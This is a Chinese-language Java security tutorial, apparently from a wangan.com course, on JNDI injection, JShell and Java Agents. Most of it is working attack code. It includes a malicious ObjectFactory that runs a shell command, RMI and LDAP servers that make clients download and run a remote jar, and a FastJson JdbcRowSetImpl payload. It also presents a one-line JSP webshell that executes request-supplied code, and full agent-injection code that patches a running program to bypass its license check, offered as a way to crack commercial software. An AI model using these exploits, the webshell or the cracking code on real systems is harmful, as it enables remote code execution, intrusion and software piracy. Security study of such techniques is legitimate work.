    {"text": "使用创建恶意的ObjectFactory对象 JNDI 允许通过 对象工厂 ( javax.naming.spi.ObjectFactory )动态加载对象实现，例如，当查找绑定在名称空间中的打印机时，如果打印服务将打印机的名称绑定到 Reference，则可以使用该打印机 Reference 创建一个打印机对象，从而查找的调用者可以在查找后直接在该打印机对象上操作。 对象工厂必须实现 javax.naming.spi.ObjectFactory 接口并重写 getObjectInstance 方法。 ReferenceObjectFactory示例代码： package com . anbai . sec . jndi . injection ; import javax . naming . Context ; import javax . naming . Name ; import javax . naming . spi . ObjectFactory ; import java . util . Hashtable ; /** * 引用对象创建工厂 */ public class ReferenceObjectFactory implements ObjectFactory { /** * @param obj 包含可在创建对象时使用的位置或引用信息的对象（可能为 null）。"},
    {"text": "* @param name 此对象相对于 ctx 的名称，如果没有指定名称，则该参数为 null。 * @param ctx 一个上下文，name 参数是相对于该上下文指定的，如果 name 相对于默认初始上下文，则该参数为 null。 * @param env 创建对象时使用的环境（可能为 null）。"},
    {"text": "* @return 对象工厂创建出的对象 * @throws Exception 对象创建异常 */ public Object getObjectInstance ( Object obj , Name name , Context ctx , Hashtable < ? , ? > env ) throws Exception { // 在创建对象过程中插入恶意的攻击代码，或者直接创建一个本地命令执行的Process对象从而实现RCE return Runtime . getRuntime ( ) . exec ( \"curl localhost:9000\" ) ; } } 创建恶意的RMI服务 如果我们在 RMI 服务端绑定一个恶意的引用对象， RMI 客户端在获取服务端绑定的对象时发现是一个 Reference 对象后检查当前 JVM 是否允许加载远程引用对象，如果允许加载且本地不存在此对象工厂类则使用 URLClassLoader 加载远程的 jar ，并加载我们构建的恶意对象工厂( ReferenceObjectFactory )类然后调用其中的 getObjectInstance 方法从而触发该方法中的恶意 RCE 代码。 包含恶意攻击的RMI服务端代码： package com . anbai . sec . jndi . injection ; import com . sun . jndi . rmi . registry . ReferenceWrapper ; import javax . naming . Reference ; import java . rmi . Naming ; import java . rmi . registry . LocateRegistry ; import static com . anbai . sec . rmi . RMIServerTest . RMI_NAME ; import static com . anbai . sec . rmi . RMIServerTest . RMI_PORT ; /** * Creator: yz * Date: 2019/12/25 */ public class RMIReferenceServerTest { public static void main ( String [ ] args ) { try { // 定义一个远程的jar，jar中包含一个恶意攻击的对象的工厂类 String url = \"http://p2j.cn/tools/jndi-test.jar\" ; // 对象的工厂类名 String className = \"com.anbai.sec.jndi.injection.ReferenceObjectFactory\" ; // 监听RMI服务端口 LocateRegistry . createRegistry ( RMI_PORT ) ; // 创建一个远程的JNDI对象工厂类的引用对象 Reference reference = new Reference ( className , className , url ) ; // 转换为RMI引用对象 ReferenceWrapper referenceWrapper = new ReferenceWrapper ( reference ) ; // 绑定一个恶意的Remote对象到RMI服务 Naming . bind ( RMI_NAME , referenceWrapper ) ; System . out . println ( \"RMI服务启动成功,服务地址:\" + RMI_NAME ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } 程序运行结果： RMI 服务启动成功 , 服务地址 : rmi : / / 127.0 .0 .1 : 9527 / test 启动完 RMIReferenceServerTest 后在本地监听 9000 端口测试客户端调用 RMI 方法后是否执行了 curl localhost:9000 命令。 使用nc监听端口： nc - vv - l 9000 RMI客户端代码： package com . anbai . sec . jndi . injection ; import javax . naming . InitialContext ; import javax . naming . NamingException ; import static com . anbai . sec . rmi . RMIServerTest . RMI_NAME ; /** * Creator: yz * Date: 2019/12/25 */ public class RMIReferenceClientTest { public static void main ( String [ ] args ) { try { // // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释 // System.setProperty(\"java.rmi.server.useCodebaseOnly\", \"false\"); // System.setProperty(\"com.sun.jndi.rmi.object.trustURLCodebase\", \"true\"); InitialContext context = new InitialContext ( ) ; // 获取RMI绑定的恶意ReferenceWrapper对象 Object obj = context . lookup ( RMI_NAME ) ; System . out . println ( obj ) ; } catch ( NamingException e ) { e . printStackTrace ( ) ; } } } 程序运行结果： Process [ pid = 8634 , exitValue = \"not exited\" ] 客户端执行成功后可以在 nc 中看到来自客户端的 curl 请求： GET / HTTP / 1.1 Host : localhost : 9000 User - Agent : curl / 7.64 .1 Accept : * /* 上面的示例演示了在 JVM 默认允许加载远程 RMI 引用对象所带来的 RCE 攻击，但在真实的环境下由于发起 RMI 请求的客户端的 JDK 版本大于我们的测试要求或者网络限制等可能会导致攻击失败。 创建恶意的LDAP服务 LDAP 和 RMI 同理，测试方法也同上。 启动LDAP服务端程序后我们会在 LDAP 请求中返回一个含有恶意攻击代码的对象工厂的远程 jar 地址，客户端会加载我们构建的恶意对象工厂( ReferenceObjectFactory )类然后调用其中的 getObjectInstance 方法从而触发该方法中的恶意 RCE 代码。"},
    {"text": "包含恶意攻击的LDAP服务端代码： package com . anbai . sec . jndi . injection ; import com . unboundid . ldap . listener . InMemoryDirectoryServer ; import com . unboundid . ldap . listener . InMemoryDirectoryServerConfig ; import com . unboundid . ldap . listener . InMemoryListenerConfig ; import com . unboundid . ldap . listener . interceptor . InMemoryInterceptedSearchResult ; import com . unboundid . ldap . listener . interceptor . InMemoryOperationInterceptor ; import com . unboundid . ldap . sdk . Entry ; import com . unboundid . ldap . sdk . LDAPResult ; import com . unboundid . ldap . sdk . ResultCode ; import javax . net . ServerSocketFactory ; import javax . net . SocketFactory ; import javax . net . ssl . SSLSocketFactory ; import java . net . InetAddress ; public class LDAPReferenceServerTest { // 设置LDAP服务端口 public static final int SERVER_PORT = 3890 ; // 设置LDAP绑定的服务地址，外网测试换成0.0.0.0 public static final String BIND_HOST = \"127.0.0.1\" ; // 设置一个实体名称 public static final String LDAP_ENTRY_NAME = \"test\" ; // 获取LDAP服务地址 public static String LDAP_URL = \"ldap://\" + BIND_HOST + \":\" + SERVER_PORT + \"/\" + LDAP_ENTRY_NAME ; // 定义一个远程的jar，jar中包含一个恶意攻击的对象的工厂类 public static final String REMOTE_REFERENCE_JAR = \"http://p2j.cn/tools/jndi-test.jar\" ; // 设置LDAP基底DN private static final String LDAP_BASE = \"dc=javasec,dc=org\" ; public static void main ( String [ ] args ) { try { // 创建LDAP配置对象 InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig ( LDAP_BASE ) ; // 设置LDAP监听配置信息 config . setListenerConfigs ( new InMemoryListenerConfig ( \"listen\" , InetAddress . getByName ( BIND_HOST ) , SERVER_PORT , ServerSocketFactory . getDefault ( ) , SocketFactory . getDefault ( ) , ( SSLSocketFactory ) SSLSocketFactory . getDefault ( ) ) ) ; // 添加自定义的LDAP操作拦截器 config . addInMemoryOperationInterceptor ( new OperationInterceptor ( ) ) ; // 创建LDAP服务对象 InMemoryDirectoryServer ds = new InMemoryDirectoryServer ( config ) ; // 启动服务 ds . startListening ( ) ; System . out . println ( \"LDAP服务启动成功,服务地址：\" + LDAP_URL ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } private static class OperationInterceptor extends InMemoryOperationInterceptor { @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result . getRequest ( ) . getBaseDN ( ) ; Entry entry = new Entry ( base ) ; try { // 设置对象的工厂类名 String className = \"com.anbai.sec.jndi.injection.ReferenceObjectFactory\" ; entry . addAttribute ( \"javaClassName\" , className ) ; entry . addAttribute ( \"javaFactory\" , className ) ; // 设置远程的恶意引用对象的jar地址 entry . addAttribute ( \"javaCodeBase\" , REMOTE_REFERENCE_JAR ) ; // 设置LDAP objectClass entry . addAttribute ( \"objectClass\" , \"javaNamingReference\" ) ; result . sendSearchEntry ( entry ) ; result . setResult ( new LDAPResult ( 0 , ResultCode . SUCCESS ) ) ; } catch ( Exception e1 ) { e1 . printStackTrace ( ) ; } } } } 程序运行结果： LDAP 服务启动成功 , 服务地址：ldap : / / 127.0 .0 .1 : 3890 / test LDAP客户端代码： package com . anbai . sec . jndi . injection ; import javax . naming . Context ; import javax . naming . InitialContext ; import javax . naming . NamingException ; import static com . anbai . sec . jndi . injection . LDAPReferenceServerTest . LDAP_URL ; /** * Creator: yz * Date: 2019/12/27 */ public class LDAPReferenceClientTest { public static void main ( String [ ] args ) { try { // // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释 // System.setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\"); Context ctx = new InitialContext ( ) ; // 获取RMI绑定的恶意ReferenceWrapper对象 Object obj = ctx . lookup ( LDAP_URL ) ; System . out . println ( obj ) ; } catch ( NamingException e ) { e . printStackTrace ( ) ; } } } 程序运行结果： java . lang . UNIXProcess@ 184 f6be2 JNDI注入漏洞利用 2016年BlackHat大会上 us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf 提到了包括 RMI 、 LDAP 、 CORBA 的 JNDI 注入方式攻击方式被广泛的利用于近年来的各种 JNDI 注入漏洞。"},
    {"text": "触发 JNDI 注入漏洞的方式也是非常的简单，只需要直接或间接的调用 JNDI 服务，且 lookup 的参数值可控、 JDK 版本、服务器网络环境满足漏洞利用条件就可以成功的利用该漏洞了。 示例代码： Context ctx = new InitialContext ( ) ; // 获取RMI绑定的恶意ReferenceWrapper对象 Object obj = ctx . lookup ( \"注入JNDI服务URL\" ) ; 我们只需间接的找到调用了 JNDI 的 lookup 方法的类且 lookup 的 URL 可被我们恶意控制的后端接口或者服务即可利用。 FastJson 反序列化JNDI注入示例 比较典型的漏洞有 FastJson 的 JNDI 注入漏洞， FastJson 在反序列化 JSON 对象时候会通过反射自动创建类实例且 FastJson 会根据传入的 JSON 字段间接的调用类成员变量的 setXXX 方法。 FastJson 这个反序列化功能看似无法实现 RCE ，但是有人找出多个符合 JNDI 注入漏洞利用条件的 Java 类(如： com.sun.rowset.JdbcRowSetImpl )从而实现了 RCE 。 JdbcRowSetImpl示例： < % @ page contentType = \"text/html;charset=UTF-8\" language = \"java\" % > < % @ page import = \"com.sun.rowset.JdbcRowSetImpl\" % > < % JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl ( ) ; jdbcRowSet . setDataSourceName ( request . getParameter ( \"url\" ) ) ; jdbcRowSet . setAutoCommit ( true ) ; % > 假设我们能够动态的创建出 JdbcRowSetImpl 类实例且可以间接的调用 setDataSourceName 和 setAutoCommit 方法，那么就有可能实现 JNDI 注入攻击。 FastJson 使用 JdbcRowSetImpl 实现 JNDI 注入攻击的大致的流程如下： 反射创建 com.sun.rowset.JdbcRowSetImpl 对象。 反射调用 setDataSourceName 方法，设置 JNDI 的 URL 。 反射调用 setAutoCommit 方法，该方法会试图使用 JNDI 获取数据源( DataSource )对象。 调用 lookup 方法去查找我们注入的 URL 所绑定的恶意的 JNDI 远程引用对象。"},
    {"text": "FastJson JdbcRowSetImpl Payload： { \"@type\" : \"com.sun.rowset.JdbcRowSetImpl\" , \"dataSourceName\" : \"ldap://127.0.0.1:3890/test\" , \"autoCommit\" : \"true\" } FastJson JNDI测试代码： package com . anbai . sec . jndi . injection ; import com . alibaba . fastjson . JSON ; /** * Creator: yz * Date: 2019/12/28 */ public class FastJsonRCETest { public static void main ( String [ ] args ) { // // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释 // System.setProperty(\"com.sun.jndi.ldap.object.trustURLCodebase\", \"true\"); String json = \"{\\\"@type\\\": \\\"com.sun.rowset.JdbcRowSetImpl\\\", \\\"dataSourceName\\\": \\\"ldap://127.0.0.1:3890/test\\\", \\\"autoCommit\\\": \\\"true\\\" }\" ; Object obj = JSON . parse ( json ) ; System . out . println ( obj ) ; } } 程序执行后nc会接收到本机的curl请求表明漏洞已利用成功： GET / HTTP / 1.1 Host : localhost : 9000 User - Agent : curl / 7.64 .1 Accept : * /* 本文章首发在 网安wangan.com 网站上。"},
    {"text": "JShell JShell 原文： https://www.wangan.com/docs/103 从 Java 9 开始提供了一个叫 jshell 的功能， jshell 是一个 REPL(Read-Eval-Print Loop) 命令行工具，提供了一个交互式命令行界面，在 jshell 中我们不再需要编写类也可以执行Java代码片段，开发者可以像 python 和 php 一样在命令行下愉快的写测试代码了。 命令行执行 jshell 即可进入 jshell 模式： 输入: /help 可以查看具体的命令: | 键入 Java 语言表达式 , 语句或声明。 | 或者键入以下命令之一 : | / list [ < 名称或 id > | - all | - start ] | 列出您键入的源 | / edit < 名称或 id > | 编辑按名称或 id 引用的源条目 | / drop < 名称或 id > | 删除按名称或 id 引用的源条目 | / save [ - all | - history | - start ] < 文件 > | 将片段源保存到文件。 | / open < file > | 打开文件作为源输入 | / vars [ < 名称或 id > | - all | - start ] | 列出已声明变量及其值 | / methods [ < 名称或 id > | - all | - start ] | 列出已声明方法及其签名 | / types [ < 名称或 id > | - all | - start ] | 列出已声明的类型 | / imports | 列出导入的项 | / exit | 退出 jshell | / env [ - class - path < 路径 > ] [ - module - path < 路径 > ] [ - add - modules < 模块 > ] ... | 查看或更改评估上下文 | / reset [ - class - path < 路径 > ] [ - module - path < 路径 > ] [ - add - modules < 模块 > ] ... | 重启 jshell | / reload [ - restore ] [ - quiet ] [ - class - path < 路径 > ] [ - module - path < 路径 > ] ... | 重置和重放相关历史记录 -- 当前历史记录或上一个历史记录 ( - restore ) | / history | 您键入的内容的历史记录 | / help [ < command > | < subject > ] | 获取 jshell 的相关信息 | / set editor | start | feedback | mode | prompt | truncation | format ... | 设置 jshell 配置信息 | / ? [ < command > | < subject > ] | 获取 jshell 的相关信息 | / ! | 重新运行上一个片段 | / < id > | 按 id 重新运行片段 | / - < n > | 重新运行前面的第 n 个片段 | | 有关详细信息 , 请键入 '/help' , 后跟 | 命令或主题的名称。 | 例如 '/help /list' 或 '/help intro' 。主题 : | | intro | jshell 工具的简介 | shortcuts | 片段和命令输入提示 , 信息访问以及 | 自动代码生成的按键说明 | context | / env / reload 和 / reset 的评估上下文选项 使用JShell执行代码片段 jshell 不仅是一个命令行工具，在我们的应用程序中同样也可以调用 jshell 内部的实现API，也就是说我们可以利用 jshell 来执行Java代码片段而不再需要将Java代码编译成class文件后执行了。 jshell 调用了 jdk.jshell.JShell 类的 eval 方法来执行我们的代码片段，那么我们只要想办法调用这个 eval 方法也就可以实现真正意义上的一句话木马了。 jshell.jsp 一句话木马示例: < %= jdk . jshell . JShell . builder ( ) . build ( ) . eval ( request . getParameter ( \"src\" ) ) % > 程序执行后会输出一些不必要的信息，如果有强迫症可以修改为： < %= jdk . jshell . JShell . builder ( ) . build ( ) . eval ( request . getParameter ( \"src\" ) ) . get ( 0 ) . value ( ) . replaceAll ( \"^\\\"\" , \"\" ) . replaceAll ( \"\\\"$\" , \"\" ) % > 然后我们需要编写一个执行本地命令的代码片段： new String ( Runtime . getRuntime ( ) . exec ( \"pwd\" ) . getInputStream ( ) . readAllBytes ( ) ) Java 9 的 java.io.InputStream 类正好提供了一个 readAllBytes 方法，我们从此以后再也不需要按字节读取了。 浏览器请求： http://localhost:8080/jshell.jsp?src=new%20String(Runtime.getRuntime().exec(%22pwd%22).getInputStream().readAllBytes()) 程序执行结果： 本文章首发在 网安wangan.com 网站上。"},
    {"text": "Java Agent Java Agent 原文： https://www.wangan.com/docs/104 Java Agent机制 JDK1.5 开始， Java 新增了 Instrumentation(Java Agent API) 和 JVMTI(JVM Tool Interface) 功能，允许 JVM 在加载某个 class文件 之前对其字节码进行修改，同时也支持对已加载的 class(类字节码) 进行重新加载( Retransform )。 利用 Java Agent 这一特性衍生出了 APM(Application Performance Management，应用性能管理) 、 RASP(Runtime application self-protection，运行时应用自我保护) 、 IAST(Interactive Application Security Testing，交互式应用程序安全测试) 等相关产品，它们都无一例外的使用了 Instrumentation/JVMTI 的 API 来实现动态修改 Java类字节码 并插入监控或检测代码。 Java Agent 有两种运行模式： 启动 Java程序 时添加 -javaagent(Instrumentation API实现方式) 或 -agentpath/-agentlib(JVMTI的实现方式) 参数，如 java -javaagent:/data/XXX.jar LingXeTest 。 JDK1.6 新增了 attach(附加方式) 方式，可以对运行中的 Java进程 附加 Agent 。 这两种运行方式的最大区别在于第一种方式只能在程序启动时指定 Agent 文件，而 attach 方式可以在 Java程序 运行后根据 进程ID 动态注入 Agent 到 JVM 。 Java Agent Java Agent和普通的Java类并没有任何区别，普通的Java程序中规定了 main 方法为程序入口，而Java Agent则将 premain （Agent模式）和 agentmain （Attach模式）作为了Agent程序的入口，两者所接受的参数是完全一致的，如下： public static void premain ( String args , Instrumentation inst ) { } public static void agentmain ( String args , Instrumentation inst ) { } Java Agent还限制了我们必须以jar包的形式运行或加载，我们必须将编写好的Agent程序打包成一个jar文件。 除此之外，Java Agent还强制要求了所有的jar文件中必须包含 /META-INF/MANIFEST.MF 文件，且该文件中必须定义好 Premain-Class （Agent模式）或 Agent-Class: （Agent模式）配置，如： Premain - Class : com . anbai . sec . agent . CrackLicenseAgent Agent - Class : com . anbai . sec . agent . CrackLicenseAgent 如果我们需要修改已经被JVM加载过的类的字节码，那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true 。 Instrumentation java.lang.instrument.Instrumentation 是监测运行在 JVM 程序的 Java API ，利用 Instrumentation 我们可以实现如下功能： 动态添加或移除自定义的 ClassFileTransformer （ addTransformer/removeTransformer ），JVM会在类加载时调用Agent中注册的 ClassFileTransformer ； 动态修改 classpath （ appendToBootstrapClassLoaderSearch 、 appendToSystemClassLoaderSearch ），将Agent程序添加到 BootstrapClassLoader 和 SystemClassLoaderSearch （对应的是 ClassLoader类的getSystemClassLoader方法 ，默认是 sun.misc.Launcher$AppClassLoader ）中搜索； 动态获取所有 JVM 已加载的类( getAllLoadedClasses )； 动态获取某个类加载器已实例化的所有类( getInitiatedClasses )。 重定义某个已加载的类的字节码( redefineClasses )。"},
    {"text": "Instrumentation 类方法如下： ClassFileTransformer java.lang.instrument.ClassFileTransformer 是一个转换类文件的代理接口，我们可以在获取到 Instrumentation 对象后通过 addTransformer 方法添加自定义类文件转换器。"},
    {"text": "示例中我们使用了 addTransformer 注册了一个我们自定义的 Transformer 到 Java Agent ，当有新的类被 JVM 加载时 JVM 会自动回调用我们自定义的 Transformer 类的 transform 方法，传入该类的 transform 信息( 类名、类加载器、类字节码 等)，我们可以根据传入的类信息决定是否需要修改类字节码，修改完字节码后我们将新的类字节码返回给 JVM ， JVM 会验证类和相应的修改是否合法，如果符合类加载要求 JVM 会加载我们修改后的类字节码。 ClassFileTransformer类代码： package java . lang . instrument ; public interface ClassFileTransformer { /** * 类文件转换方法，重写transform方法可获取到待加载的类相关信息 * * @param loader 定义要转换的类加载器； 如果是引导加载器，则为 null * @param className 类名,如:java/lang/Runtime * @param classBeingRedefined 如果是被重定义或重转换触发，则为重定义或重转换的类； 如果是类加载，则为 null * @param protectionDomain 要定义或重定义的类的保护域 * @param classfileBuffer 类文件格式的输入字节缓冲区（不得修改） * @return 字节码byte数组。 */ byte [ ] transform ( ClassLoader loader , String className , Class < ? > classBeingRedefined , ProtectionDomain protectionDomain , byte [ ] classfileBuffer ) ; } 重写 transform 方法需要注意以下事项： ClassLoader 如果是被 Bootstrap ClassLoader(引导类加载器) 所加载那么 loader 参数的值是空。 修改类字节码时需要特别注意插入的代码在对应的 ClassLoader 中可以正确的获取到，否则会报 ClassNotFoundException ，比如修改 java.io.FileInputStream(该类由Bootstrap ClassLoader加载) 时插入了我们检测代码，那么我们将必须保证 FileInputStream 能够获取到我们的检测代码类。"},
    {"text": "addTransformer 时如果没有传入 retransform 参数(默认是 false )就算 MANIFEST.MF 中配置了 Can-Redefine-Classes: true 而且手动调用了 retransformClasses 方法也一样无法 retransform 。"},
    {"text": "Agent 实现破解License示例 学习Java Agent除了可以做 APM 、 RASP 等产品，我们还可以做一些趣味性事情，比如我们可以使用Agent机制实现Java商业软件破解，我们常用的 IntelliJ IDEA 就是使用Agent方式动态修改License类校验逻辑来实现破解的。"},
    {"text": "假设我们有一个Java类 CrackLicenseTest ，每五秒钟就会自动调用 checkExpiry 方法检测授权是否过期，如果过期就会一直不断的提示重新购买授权（或者直接退出Java程序）。 检测授权时间是否过期示例代码： package com . anbai . sec . agent ; import java . text . ParseException ; import java . text . SimpleDateFormat ; import java . util . Date ; import java . util . concurrent . TimeUnit ; /** * Creator: yz * Date: 2020/10/29 */ public class CrackLicenseTest { private static final SimpleDateFormat DATE_FORMAT = new SimpleDateFormat ( \"yyyy-MM-dd HH:mm:ss\" ) ; private static boolean checkExpiry ( String expireDate ) { try { Date date = DATE_FORMAT . parse ( expireDate ) ; // 检测当前系统时间早于License授权截至时间 if ( new Date ( ) . before ( date ) ) { return false ; } } catch ( ParseException e ) { e . printStackTrace ( ) ; } return true ; } public static void main ( String [ ] args ) { // 设置一个已经过期的License时间 final String expireDate = \"2020-10-01 00:00:00\" ; new Thread ( new Runnable ( ) { @Override public void run ( ) { while ( true ) { try { String time = \"[\" + DATE_FORMAT . format ( new Date ( ) ) + \"] \" ; // 检测license是否已经过期 if ( checkExpiry ( expireDate ) ) { System . err . println ( time + \"您的授权已过期，请重新购买授权！ \" ) ; } else { System . out . println ( time + \"您的授权正常，截止时间为：\" + expireDate ) ; } // sleep 1秒 TimeUnit . SECONDS . sleep ( 5 ) ; } catch ( InterruptedException e ) { e . printStackTrace ( ) ; } } } } ) . start ( ) ; } } 程序运行结果： [ 2020-10-29 23:51:44 ] 您的授权已过期，请重新购买授权！ [ 2020-10-29 23:51:49 ] 您的授权已过期，请重新购买授权！ [ 2020-10-29 23:51:54 ] 您的授权已过期，请重新购买授权！ [ 2020-10-29 23:51:59 ] 您的授权已过期，请重新购买授权！ [ 2020-10-29 23:52:04 ] 您的授权已过期，请重新购买授权！"},
    {"text": "如果我们要破解这种简单的基于系统时间检测授权是否过期的程序我们有非常多的实现方式，例如：修改系统时间、破解License算法，修改程序授权到期时间、修改检测是否到期类方法的业务逻辑等。"},
    {"text": "修改类方法业务逻辑又有多种方法，如：反编译类文件，修改类方法、使用字节码编辑工具，修改类方法字节码、使用Java Agent + 字节码编辑工具，在程序校验时修改类字节码。"},
    {"text": "在不重新编译某个类的情况下(甚至有可能是不重启Java应用服务的情况下)动态的改变类方法的执行逻辑是非常困难的，但如果使用 Agent 的 Instrumentation API 就可以非常容易的实现了。"},
    {"text": "破解示例中的 CrackLicenseTest 的授权检测方法只需要修改 checkExpiry 的返回值为 false 就行了或者修改 expireDate 参数值为一个100年以后的时间。 破解CrackLicenseTest的授权检测示例代码： /* * 灵蜥Java Agent版 [Web应用安全智能防护系统] * ---------------------------------------------------------------------- * Copyright © 安百科技（北京）有限公司 */ package com . anbai . sec . agent ; import com . sun . tools . attach . VirtualMachine ; import com . sun . tools . attach . VirtualMachineDescriptor ; import javassist . ClassPool ; import javassist . CtClass ; import javassist . CtMethod ; import java . io . ByteArrayInputStream ; import java . io . File ; import java . io . FileOutputStream ; import java . lang . instrument . ClassFileTransformer ; import java . lang . instrument . Instrumentation ; import java . lang . instrument . UnmodifiableClassException ; import java . net . URL ; import java . security . ProtectionDomain ; import java . util . List ; /** * Creator: yz * Date: 2020/1/2 */ public class CrackLicenseAgent { /** * 需要被Hook的类 */ private static final String HOOK_CLASS = \"com.anbai.sec.agent.CrackLicenseTest\" ; /** * Java Agent模式入口 * * @param args 命令参数 * @param inst Instrumentation */ public static void premain ( String args , final Instrumentation inst ) { loadAgent ( args , inst ) ; } /** * Java Attach模式入口 * * @param args 命令参数 * @param inst Instrumentation */ public static void agentmain ( String args , final Instrumentation inst ) { loadAgent ( args , inst ) ; } public static void main ( String [ ] args ) { if ( args . length == 0 ) { List < VirtualMachineDescriptor > list = VirtualMachine . list ( ) ; for ( VirtualMachineDescriptor desc : list ) { System . out . println ( \"进程ID：\" + desc . id ( ) + \"，进程名称：\" + desc . displayName ( ) ) ; } return ; } // Java进程ID String pid = args [ 0 ] ; try { // 注入到JVM虚拟机进程 VirtualMachine vm = VirtualMachine . attach ( pid ) ; // 获取当前Agent的jar包路径 URL agentURL = CrackLicenseAgent . class . getProtectionDomain ( ) . getCodeSource ( ) . getLocation ( ) ; String agentPath = new File ( agentURL . toURI ( ) ) . getAbsolutePath ( ) ; // 注入Agent到目标JVM vm . loadAgent ( agentPath ) ; vm . detach ( ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } /** * 加载Agent * * @param arg 命令参数 * @param inst Instrumentation */ private static void loadAgent ( String arg , final Instrumentation inst ) { // 创建ClassFileTransformer对象 ClassFileTransformer classFileTransformer = createClassFileTransformer ( ) ; // 添加自定义的Transformer，第二个参数true表示是否允许Agent Retransform， // 需配合MANIFEST.MF中的Can-Retransform-Classes: true配置 inst . addTransformer ( classFileTransformer , true ) ; // 获取所有已经被JVM加载的类对象 Class [ ] loadedClass = inst . getAllLoadedClasses ( ) ; for ( Class clazz : loadedClass ) { String className = clazz . getName ( ) ; if ( inst . isModifiableClass ( clazz ) ) { // 使用Agent重新加载HelloWorld类的字节码 if ( className . equals ( HOOK_CLASS ) ) { try { inst . retransformClasses ( clazz ) ; } catch ( UnmodifiableClassException e ) { e . printStackTrace ( ) ; } } } } } private static ClassFileTransformer createClassFileTransformer ( ) { return new ClassFileTransformer ( ) { /** * 类文件转换方法，重写transform方法可获取到待加载的类相关信息 * * @param loader 定义要转换的类加载器；"},
    {"text": "如果是引导加载器，则为 null * @param className 类名,如:java/lang/Runtime * @param classBeingRedefined 如果是被重定义或重转换触发，则为重定义或重转换的类； 如果是类加载，则为 null * @param protectionDomain 要定义或重定义的类的保护域 * @param classfileBuffer 类文件格式的输入字节缓冲区（不得修改） * @return 字节码byte数组。"},
    {"text": "Agent模式 如果以Agent模式运行破解程序，需要我们在启动 CrackLicenseTest 的时候添加JVM参数： -javaagent:jar路径 ，例如： cd ~/IdeaProjects/javaweb-sec/javaweb-sec-source/javasec-agent java -javaagent:target/javasec-agent.jar -classpath target/test-classes/ com.anbai.sec.agent.CrackLicenseTest 程序执行结果： 生成的 CrackLicenseTest.class 如下： 由上示例可以看到 CrackLicenseTest 类的 checkExpiry 方法字节码已经被我们修改成功了 。 Attach模式 如果我们希望在 CrackLicenseTest 运行时不重启该Java程序的情况下运行我们的破解程序就需要以Attach模式运行了。 Attach模式需要知道我们运行的Java程序进程ID，通过Java虚拟机的进程注入方式实现可以将我们的Agent程序动态的注入到一个已在运行中的Java程序中。"},
    {"text": "我们可以使用JDK自带的 jps 命令获取本机运行的所有的Java进程，如： [ robert @192 : ~ ] $ jps - l 14608 org . jetbrains . jps . cmdline . Launcher 14931 org . jd . gui . OsxApp 1075 6809 org . jetbrains . idea . maven . server . RemoteMavenServer36 15820 com . anbai . sec . agent . CrackLicenseTest 15823 sun . tools . jps . Jps 通过进程的名字 com.anbai.sec.agent.CrackLicenseTest 就可以找到我们需要注入的进程ID为 15823 。 如果我们想要直接借助Java程序来获取所有的JVM进程也是可以的，使用 com.sun.tools.attach.VirtualMachine 的 list 方法即可获取本机所有运行的Java进程，如： List < VirtualMachineDescriptor > list = VirtualMachine . list ( ) ; for ( VirtualMachineDescriptor desc : list ) { System . out . println ( \"进程ID：\" + desc . id ( ) + \"，进程名称：\" + desc . displayName ( ) ) ; } 有了进程ID我们就可以使用Attach API注入Agent了，Attach Java进程注入示例代码如下： // Java进程ID String pid = args [ 0 ] ; // 设置Agent文件的绝对路径 String agentPath = \"/xxx/agent.jar\" ; // 注入到JVM虚拟机进程 VirtualMachine vm = VirtualMachine . attach ( pid ) ; // 注入Agent到目标JVM vm . loadAgent ( agentPath ) ; vm . detach ( ) ; 使用Attach模式启动Agent程序时需要使用到JDK目录下的 lib/tools.jar ，如果没有配置 CLASS_PATH 环境变量的话需要在运行Agent程序时添加 -classpath $JAVA_HOME/lib/tools.jar 参数，否则我们无法使用Attach API，如下： cd ~/IdeaProjects/javaweb-sec/javaweb-sec-source/javasec-agent java -classpath $JAVA_HOME /lib/tools.jar:target/javasec-agent.jar com.anbai.sec.agent.CrackLicenseAgent 程序执行结果如下： 当Attach成功后我们可以看到原来的进程输出结果也已经不在输出授权过期提示信息了，如下图： 使用Attach模式需要特别的需要注意和Agent模式的区别，因为Attach是运行在Java程序启动后，所以我们需要修改的Java类很有可能已经被JVM加载了，而已加载的Java类是不会再被Agent处理的，这时候我们需要在Attach到目标进程后 retransformClasses ，让JVM重新该Java类，这样我们就可以使用Agent机制修改该类的字节码了。"},
    {"text": "Java 文件系统安全 Java 文件系统安全 Java 文件系统 Java 文件系统 原文： https://www.wangan.com/docs/85 众所周知Java是一个跨平台的语言，不同的操作系统有着完全不一样的文件系统和特性。JDK会根据不同的操作系统( AIX,Linux,MacOSX,Solaris,Unix,Windows )编译成不同的版本。 在Java语言中对文件的任何操作最终都是通过 JNI 调用 C语言 函数实现的。Java为了能够实现跨操作系统对文件进行操作抽象了一个叫做FileSystem的对象出来，不同的操作系统只需要实现起抽象出来的文件操作方法即可实现跨平台的文件操作了 本文章首发在 网安wangan.com 网站上。 Java IO/NIO.2文件系统 Java IO/NIO.2文件系统 原文： https://www.wangan.com/docs/86 Java FileSystem Java IO 文件系统 Java抽象出了一个叫做文件系统的对象: java.io.FileSystem ，不同的操作系统有不一样的文件系统,例如 Windows 和 Unix 就是两种不一样的文件系统： java.io.UnixFileSystem 、 java.io.WinNTFileSystem 。 java.io.FileSystem 是一个抽象类，它抽象了对文件的操作，不同操作系统版本的JDK会实现其抽象的方法从而也就实现了跨平台的文件的访问操作。 示例中的 java.io.UnixFileSystem 最终会通过JNI调用native方法来实现对文件的操作: 由此我们可以得出Java只不过是实现了对文件操作的封装而已，最终读写文件的实现都是通过调用native方法实现的。 不过需要特别注意一下几点： 并不是所有的文件操作都在 java.io.FileSystem 中定义,文件的读取最终调用的是 java.io.FileInputStream#read0、readBytes 、 java.io.RandomAccessFile#read0、readBytes ,而写文件调用的是 java.io.FileOutputStream#writeBytes 、 java.io.RandomAccessFile#write0 。 Java有两类文件系统API！一个是基于 阻塞模式的IO 的文件系统，另一是JDK7+基于 NIO.2 的文件系统。 Java NIO.2 